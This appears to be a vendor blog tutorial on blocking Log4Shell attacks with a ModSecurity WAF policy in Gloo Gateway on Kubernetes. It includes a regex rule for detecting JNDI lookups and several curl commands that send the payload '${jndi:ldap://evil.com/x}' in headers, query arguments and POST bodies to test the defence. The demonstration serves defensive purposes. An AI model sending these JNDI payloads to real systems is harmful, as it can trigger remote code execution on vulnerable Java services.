Block Log4Shell attacks with Gloo Gateway
It’s been an extraordinarily difficult few months for zero-day vulnerabilities impacting Java system security. Headlines screamed “The Internet’s on fire” with the weaponization of the Log4Shell zero-day vulnerability CVE-2021-44228 in December 2021. It reached a Critical CVSS score of 10 (out of 10). TechCrunch reported that numerous Big Tech systems were successfully attacked.
Solo blogged here about Log4Shell within days of its emergence as a threat, documenting that Solo products were not impacted by Log4Shell. We also outlined an approach to block the attacks in the systems of Gloo Edge users by leveraging its Web Application Firewall (WAF) integration to protect the ingress points of your application network.
A few weeks after that, we blogged about an alternative approach to stopping Log4Shell that worked by blocking malicious traffic to untrusted services at the egress points of your network.
We also discussed both of these strategies at SoloCon 2022 back in March of this year. See the recording for that session at the end of this post.
Then just when everyone thought it was safe to go back to the water after Log4Shell, the Spring4Shell exploit emerged as yet another zero-day threat to Java-based systems. We wrote here about a similar strategy to block these attacks at the application network ingress point.
To put it mildly, the past eight months have been a challenging time security-wise for enterprise Java systems.
In our original Log4Shell post, we used the Envoy WAF filter integrated inside the standalone Gloo Edge API gateway. In this post, we’ll revisit this work with a similar example. But this time we’ll explore Solo’s new Gloo API Gateway, built on top of Istio. In addition to offering equivalent gateway features, the Gloo API Gateway delivers the benefits of being integrated with the Istio control plane under Gloo management: multi-tenancy capabilities, superior cross-cluster operations, and more complete service observability.
Log4Shell review
Let’s first review the Log4Shell attack and how it operates. The root cause is a flaw in the commonly used open-source Java library Log4j. Many enterprise developers (including yours truly) have used Log4j for years to instrument, debug, and audit application servers. One interesting feature is that it allows remote code execution in places where Log4j Lookups are employed. In the case of Log4Shell attacks, JNDI Lookups are exploited to cause execution of code from remote services controlled by the attacker.
These vulnerabilities are most commonly exploited in Java systems that are exposed to the Internet via some kind of API gateway. Requests accepted by externally facing systems could be vulnerable to malicious requests that pass in Log4j Lookup strings through request bodies, headers, or arguments. In short, if a responding system logs these headers using an older version of Log4j, then that system may be vulnerable to attack.
This article from the Swiss CERT provides a nice visualization of how an attack can occur.
Source: GovCERT.ch
I might be vulnerable. How do I respond?
If your systems are potentially vulnerable, there are a number of avenues to mitigate that risk.
- Update to the latest patched Log4j versions. Apache has already released a patched version 2.15.0 that shuts off this attack vector. Remember that it may be necessary to update not only the Log4j direct dependencies of your systems, but also any transitive dependencies that may be vulnerable, including popular Apache libraries like Struts, Solr, and Druid.
- Initiate a vulnerability scan. There are both open-source and enterprise tools that can thoroughly analyze your systems for vulnerabilities to Log4Shell (and a hundred others). At Solo.io, we’re particularly fond of our partner Snyk, which offers scanning tools in both free and paid flavors.
In addition to these two approaches, Gloo Gateway can help! It provides Web Application Firewall support with a widely used framework called ModSecurity, which began life as an Apache project. From the Gloo documentation:
“API Gateways act as a control point for the outside world to access the various application services running in your environment. A Web Application Firewall offers a standard way to inspect and handle all incoming traffic. ModSecurity is one such firewall. ModSecurity uses a simple rules language to interpret and process incoming http traffic.”
In this blog post, we will use a simplified version of one of the OWASP CoreRuleSet draft rules to block any potentially malicious traffic trying to exploit the Log4Shell vulnerability. We will implement this in a single, compact ModSecurity role, and we will deploy it in a Gloo Gateway component, to protect any service fronted by that Gateway.
Example: Use Gloo Gateway to block Log4Shell attacks
We’ll build and test an example to show how you can use Gloo Gateway to protect systems that are vulnerable to Log4Shell attacks.
If you’d like to follow along in your own environment, you’ll need a Kubernetes cluster and associated tools, plus an Istio deployment and an installation of Gloo Mesh Enterprise. We ran the tests in this blog on Gloo Mesh Enterprise v2.3.4 with Istio v1.17.2. We hosted all of this on a local instance of k3d v5.4.3.
You’ll need a license key to install Gloo Mesh Enterprise if you don’t already have one. You can obtain a key by initiating a free trial here.
For this exercise, we’ll also use some common CLI utilities like kubectl, curl, and git. Make sure these prerequisites are all available to you before jumping into the next section. I’m building this on MacOS but other platforms should be perfectly fine as well.
Clone Github Repo
The resources required for this exercise are available in the gloo-gateway-use-cases repo on Github. Clone that to your workstation and switch to the gloo-gateway-use-cases example directory. We’ll primarily be using the resources in the log4shell example.
git clone https://github.com/solo-io/gloo-gateway-use-cases.git cd gloo-gateway-use-cases
Install Gloo API Gateway
Since we’re just evaluating the API Gateway component of Gloo, you’ll only need a single k8s cluster active. However, if you already have multiple clusters in place, you can certainly use that configuration as well.
If you don’t have Istio or Gloo installed, there is a simplified installation script available in the Github repo you cloned in the previous section. Before you walk through that script, you’ll need three pieces of information.
- Place a Gloo license key in the environment variable
GLOO_GATEWAY_LICENSE_KEY. If you don’t already have one of these, you can obtain it from your Solo account executive. - Supply a reference to the repo where the hardened Solo images for Istio live. This value belongs in the environment variable
ISTIO_REPO. You can obtain the proper value from this location once you’re a Gloo Mesh customer or have activated a free trial. - Supply a version string for Gloo Mesh Gateway in the environment variable
GLOO_MESH_VERSION. For the tests we are running here, we usev2.3.4.
From the gloo-gateway-use-cases directory at the top level of the cloned repo, execute the setup script below. It will configure a local k3d cluster containing Istio with the Gloo Gateway component activated. The script will fail if any of the three environment variables above is not present. It also only works with versions 2.3 and higher of Gloo Gateway.
./setup/setup.sh
The output from the setup script should resemble what you see below. If you require a more complex installation, the complete Gloo Gateway installation guide is available here.
INFO[0000] Using config file setup/k3d/gloo.yaml (k3d.io/v1alpha4#simple) INFO[0000] portmapping '8080:80' targets the loadbalancer: defaulting to [servers:*:proxy agents:*:proxy] INFO[0000] portmapping '8443:443' targets the loadbalancer: defaulting to [servers:*:proxy agents:*:proxy] INFO[0000] Prep: Network INFO[0000] Created network 'k3d-gloo' INFO[0000] Created image volume k3d-gloo-images INFO[0000] Starting new tools node... INFO[0000] Starting Node 'k3d-gloo-tools' INFO[0001] Creating node 'k3d-gloo-server-0' INFO[0001] Creating LoadBalancer 'k3d-gloo-serverlb' INFO[0001] Using the k3d-tools node to gather environment information INFO[0001] Starting new tools node... INFO[0001] Starting Node 'k3d-gloo-tools' INFO[0002] Starting cluster 'gloo' INFO[0002] Starting servers... INFO[0002] Starting Node 'k3d-gloo-server-0' INFO[0007] All agents already running. INFO[0007] Starting helpers... INFO[0007] Starting Node 'k3d-gloo-serverlb' INFO[0014] Injecting records for hostAliases (incl. host.k3d.internal) and for 3 network members into CoreDNS configmap... INFO[0016] Cluster 'gloo' created successfully! INFO[0016] You can now use it like this: kubectl config use-context k3d-gloo kubectl cluster-info ******************************************* Waiting to complete k3d cluster config... ******************************************* Context "k3d-gloo" renamed to "gloo". ******************************************* Installing Gloo Gateway... ******************************************* Attempting to download meshctl version v2.3.4 Downloading meshctl-darwin-amd64... Download complete!, validating checksum... Checksum valid. meshctl was successfully installed 🎉 Add the Gloo Mesh CLI to your path with: export PATH=$HOME/.gloo-mesh/bin:$PATH Now run: meshctl install # install Gloo Mesh management plane Please see visit the Gloo Mesh website for more info: https://www.solo.io/products/gloo-mesh/ INFO 💻 Installing Gloo Platform components in the management cluster SUCCESS Finished downloading chart. SUCCESS Finished installing chart 'gloo-platform-crds' as release gloo-mesh:gloo-platform-crds SUCCESS Finished downloading chart. SUCCESS Finished installing chart 'gloo-platform' as release gloo-mesh:gloo-platform workspace.admin.gloo.solo.io "gloo" deleted workspacesettings.admin.gloo.solo.io "default" deleted ******************************************* Waiting to complete Gloo Gateway config... ******************************************* 🟢 License status INFO gloo-mesh enterprise license expiration is 08 Mar 24 10:04 EST INFO Valid GraphQL license module found 🟢 CRD version check 🟢 Gloo Platform deployment status Namespace | Name | Ready | Status gloo-mesh | gloo-mesh-redis | 1/1 | Healthy gloo-mesh | gloo-mesh-mgmt-server | 1/1 | Healthy gloo-mesh | gloo-telemetry-gateway | 1/1 | Healthy gloo-mesh | gloo-mesh-agent | 1/1 | Healthy gloo-mesh | prometheus-server | 1/1 | Healthy gloo-mesh | gloo-mesh-ui | 1/1 | Healthy gloo-mesh-addons | redis | 1/1 | Healthy gloo-mesh-addons | rate-limiter | 1/1 | Healthy gloo-mesh-addons | ext-auth-service | 1/1 | Healthy gloo-mesh | gloo-telemetry-collector-agent | 1/1 | Healthy 🟢 Mgmt server connectivity to workload agents Cluster | Registered | Connected Pod gloo | true | gloo-mesh/gloo-mesh-mgmt-server-6c58598fcd-qkw65
Install htttpbin Application
HTTPBIN is a great little REST service that can be used to test a variety of http operations and echo the response elements back to the consumer. We’ll use it throughout this exercise. First, we’ll install the httpbin service on our k3d cluster. Run:
kubectl create namespace httpbin --context gloo kubectl --context gloo label namespace httpbin istio-injection=enabled kubectl apply -f log4shell/httpbin.yaml -n httpbin --context gloo
You should see:
namespace/httpbin created namespace/httpbin labeled serviceaccount/httpbin created service/httpbin created deployment.apps/httpbin created
You can confirm that the httpbin pod is running by searching for pods with an app label of httpbin:
kubectl get pods -l app=httpbin -n httpbin
And you will see:
NAME READY STATUS RESTARTS AGE httpbin-66cdbdb6c5-2cnm7 1/1 Running 0 29s
Create a Workspace
A Workspace is a really important new feature in Gloo Mesh 2.0. By providing a team-oriented artifact “container”, Workspaces make it much easier to express policies that clearly delineate boundaries between resources that are owned by various teams within your organization. The Workspaces you specify in turn generate Istio artifacts that enforce multi-tenant-aware policies. You can learn more about them here.
In our case, we’re focused strictly on gateway functionality and not so much on shared tenancy. So we’ll create a namespace and a single Workspace to reflect the domain of our ops-team that is maintaining our gateway capability.
apiVersion: v1
kind: Namespace
metadata:
name: ops-team
---
apiVersion: admin.gloo.solo.io/v2
kind: Workspace
metadata:
name: ops-team
namespace: gloo-mesh
spec:
workloadClusters:
- name: '*'
namespaces:
- name: ops-team
- name: gloo-mesh-gateways
- name: gloo-mesh-addons
- name: httpbin
---
apiVersion: admin.gloo.solo.io/v2
kind: WorkspaceSettings
metadata:
name: ops-team
namespace: ops-team
spec:
options:
eastWestGateways:
- selector:
labels:
istio: eastwestgateway
You can create the Workspace above using this command:
kubectl apply -f log4shell/workspace.yaml --context gloo
You should see results like this:
namespace/ops-team created workspace.admin.gloo.solo.io/ops-team created workspacesettings.admin.gloo.solo.io/ops-team created
Establish a VirtualGateway
Let’s establish a Gloo Mesh VirtualGateway that we’ll attach to the default istio-ingressgateway that was configured when we installed our local Istio instance earlier. We’ll configure this gateway to handle our inbound, north-south traffic by selecting any RouteTables that are specified in the ops-team workspace. We’ll create such a RouteTable momentarily. Here is the VirtualGateway YAML:
apiVersion: networking.gloo.solo.io/v2
kind: VirtualGateway
metadata:
name: north-south-gw
namespace: ops-team
spec:
workloads:
- selector:
labels:
istio: ingressgateway
cluster: gloo
listeners:
- http: {}
port:
name: http2
allowedRouteTables:
- host: '*'
selector:
workspace: ops-team
Now we’ll apply this configuration to establish the north-south gateway:
kubectl apply -f log4shell/virtual-gateway.yaml --context gloo
That should yield a result like this:
virtualgateway.networking.gloo.solo.io/north-south-gw created
Configure a RouteTable
RouteTables are a key Gloo API Gateway abstraction that specify routing policies to apply to requests. You can learn more about them in the request routing documentation here. For this exercise, we require just a simple RouteTable that attaches to our north-south-gw and routes all inbound requests to our httpbin service.
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: httpbin
namespace: ops-team
spec:
hosts:
- '*'
virtualGateways:
- name: north-south-gw
namespace: ops-team
cluster: gloo
workloadSelectors: []
http:
- name: httpbin
labels:
waf: "true"
forwardTo:
destinations:
- ref:
name: httpbin
namespace: httpbin
cluster: gloo
port:
number: 8000
Let’s apply this configuration:
kubectl apply -f log4shell/route-table.yaml --context gloo
And observe that the RouteTable was created as expected:
routetable.networking.gloo.solo.io/httpbin created
The initial service has a security problem!
Log4Shell attacks operate by passing in a Log4j expression that causes a lookup to a remote server, like a JNDI identity service. The malicious expression might look something like this: ${jndi:ldap://evil.com/x}. It might be passed in to the service via a header, a request argument, or a request payload. What the attacker is counting on is that the vulnerable system will log that string using Log4j without checking it. That’s what triggers the destructive JNDI lookup and the ultimate execution of malicious code.
We’ll simulate one of these attack vectors by passing our evil.com string in a request header to our gateway, and then see that request routed to the target service.
We’ll use curl to simulate the attack, passing in the attack string as the value of the standard User-Agent header:
curl -X GET -H "User-Agent: \${jndi:ldap://evil.com/x}" localhost:8080/anything -i
The /anything endpoint of httpbin simply echoes back the request headers passed into it.
You can expect a response like the one below. Note in particular this entry in the headers response: "User-Agent": "${jndi:ldap://evil.com/x}". If httpbin were logging this header using Log4j, then we might have a real problem on our hands.
HTTP/1.1 200 OK
server: istio-envoy
date: Fri, 22 Jul 2022 21:53:41 GMT
content-type: application/json
content-length: 760
access-control-allow-origin: *
access-control-allow-credentials: true
x-envoy-upstream-service-time: 18
{
"args": {},
"data": "",
"files": {},
"form": {},
"headers": {
"Accept": "*/*",
"Host": "localhost:8080",
"User-Agent": "${jndi:ldap://evil.com/x}",
"X-B3-Parentspanid": "84b8898792c42020",
"X-B3-Sampled": "0",
"X-B3-Spanid": "ed3f851bb41343b9",
"X-B3-Traceid": "0f215a02c35999eb84b8898792c42020",
"X-Envoy-Attempt-Count": "1",
"X-Envoy-Internal": "true",
"X-Forwarded-Client-Cert": "By=spiffe://gloo/ns/httpbin/sa/httpbin;Hash=70f17b29de03d7588686720fbea0ec88ebe438ad39345511e698f381f968b8d1;Subject=\"\";URI=spiffe://gloo/ns/istio-gateways/sa/istio-ingressgateway-service-account"
},
"json": null,
"method": "GET",
"origin": "10.42.0.1",
"url": "http://localhost:8080/anything"
}
Integrate a simple WAF policy
There are a number of ModSecurity rules that have been promoted to thwart Log4Shell attacks. In this post, we are adapting a simplified version of a rule that has been proposed as an addition to the CoreRuleSet here.
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@*
"@rx ${jndi:(?:ldaps?|iiop|dns|rmi)://"
"id:1000,phase:2,deny,status:403,log,msg:'Potential Remote Command Execution: Log4j CVE-2021-44228'"
We won’t attempt a ModSecurity rule authoring tutorial here. There are better sources for that information, like the official community GitHub site.
But let’s examine briefly what this rule does. Line 1 identifies ModSec variables we want to match, entities like the REQUEST_BODY and REQUEST_HEADERS. These are entities where the contents might be logged by log4j when the request is received, so we want to be sure to protect them. A full ModSec variable list is available here and a complete reference manual is here.
Line 2 is the condition that is applied to the variables listed in Line 1. In this case, we’re matching against strings that begin with ${jndi.
Finally, Line 3 defines the action to be taken when the rule is matched. In this case, we are denying the request and passing back a 403 Forbidden error code.
We’ll apply this rule using the WAFPolicy API of Gloo Gateway. Note from the policy YAML before that we have configured this rule to apply to ay routes that have the label waf set to a true value. Take a look at the httpbin RouteTable we established in a previous step, which already has that waf label in place.
This highlights one of the core strengths of Gloo Gateway, the ability to apply sophisticated policies once and have them automatically applied to multiple backend services, with no changes to the target services. This is not only true of WAF policies, but also complex authNZ and transformation policies too. Just add a label to the RouteTables of the services you need to protect from Log4Shell, and you have both instant and consistent protection across all those services.
See our partner Snyk’s post about normalizing authentication policies that span a variety of backend services. OutSystems has also written about its use of Solo gateway technology to achieve similar results in a complex, multi-tenant environment.
Here is the full WAFPolicy that we’ll apply to any service in our application network whose RouteTable contains a waf label.
apiVersion: security.policy.gloo.solo.io/v2
kind: WAFPolicy
metadata:
name: log4jshell
namespace: ops-team
spec:
applyToRoutes:
- route:
labels:
waf: "true"
config:
disableCoreRuleSet: true
customInterventionMessage: 'Log4Shell malicious payload'
customRuleSets:
- ruleStr: |
SecRuleEngine On
SecRequestBodyAccess On
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@*
"@rx \${jndi:(?:ldaps?|iiop|dns|rmi)://"
"id:1000,phase:2,deny,status:403,log,msg:'Potential Remote Command Execution: Log4j CVE-2021-44228'"
IMPORTANT NOTE: Do not accept our simple rule in this post as the final word on the subject. It is simply an example that blocks some common attack vectors. There are indications that it may be inadequate by itself. Please do not deploy this sample rule to production without conducting your own due diligence. We recommend following developments in security-focused communities like CoreRuleSet to keep up with the latest best practices and CRS versions.
We’ll apply the new Gateway configuration to our cluster using kubectl:
kubectl apply -f log4shell/waf-policy.yaml --context gloo
Expect a response like this:
wafpolicy.security.policy.gloo.solo.io/log4jshell created
Now let’s thwart some EVIL!
Can our new WAFPolicy configuration defeat a sampling of Log4Shell attacks? We’ll answer that by simulating three attack vectors against our service: against request headers, request arguments, and finally payloads.
Request Header Attacks
We’ll use curl to simulate the same attack we used before with the unprotected service. Recall that the service fulfilled the request with no problems, which would have created a problem had the backend service been vulnerable to Log4Shell.
curl -X GET -H "User-Agent: \${jndi:ldap://evil.com/x}" localhost:8080/anything -i
But observe the difference with our WAF protection in place. The malicious request is now rejected with a 403 Forbidden error.
HTTP/1.1 403 Forbidden content-length: 27 content-type: text/plain date: Fri, 22 Jul 2022 22:16:53 GMT server: istio-envoy Log4Shell malicious payload
The request header attack is defeated!
Request Argument Attacks
Software services often log argument values when accepting new requests. That makes them a likely Log4Shell attack vector. We’ll again use curl to simulate an attack by issuing a request that has a single argument arg-1 with value ${jndi:ldap://evil.com/x}. Note that in our curl command we had to use a number of special-character-escaping backslashes so that characters like $ and { and } are passed as literals to the service.
curl -X GET localhost:8080/anything\?arg-1=\$\\{jndi:ldap://evil.com/x\\} -i
The response shows that the ModSec rule is again doing its job as expected:
HTTP/1.1 403 Forbidden content-length: 27 content-type: text/plain date: Fri, 22 Jul 2022 22:19:15 GMT server: istio-envoy Log4Shell malicious payload
The request argument attack is defeated!
Request Payload Attacks
Services that receive message payloads, like POST and PUT endpoints, often log the payload bodies when accepting new requests. That makes them a likely Log4Shell attack vector. We’ll use curl to simulate an attack by issuing a POST request that has the following payload: arg-1=${jndi:ldap://evil.com/x}. Here is our “attacking” curl command:
curl -X POST -d "arg-1=\${jndi:ldap://evil.com/x}" localhost:8080/anything -i
But our WAF is solid and again denies the request:
HTTP/1.1 403 Forbidden content-length: 27 content-type: text/plain date: Fri, 22 Jul 2022 22:21:38 GMT server: istio-envoy Log4Shell malicious payload
The request payload attack is defeated!
Learn More
In this blog post, we demonstrated how to use a Gloo Gateway WAFPolicy to block Log4Shell attacks against your own systems with a single ModSecurity rule.
IMPORTANT NOTE: Do not accept our simple rule in this post as the final word on the subject. It is simply an example that blocks some common attack vectors. There are indications that it may be inadequate by itself. Please do not deploy this sample rule to production without conducting your own due diligence. We recommend following developments in security-focused communities like CoreRuleSet to keep up with the latest best practices and CRS versions.
All resources used to build the example in this post are available on GitHub.
Do you want to explore further how Solo and Gloo Gateway can help you secure your microservice and legacy environments?
- Check out my Solo colleague Will McKinley‘s blog post discussing an alternative approach for securing your service mesh against Log4Shell attacks here.
- Explore the documentation for Gloo API Gateway.
- Reach out to Solo experts on the Solo.io Slack community and particularly the #gloo-mesh channel.
- Request a live demo or trial.
- See video content on the solo.io YouTube channel.
- Watch our SoloCon 2022 lightning talk on remediation approaches and lessons learned with Log4Shell.
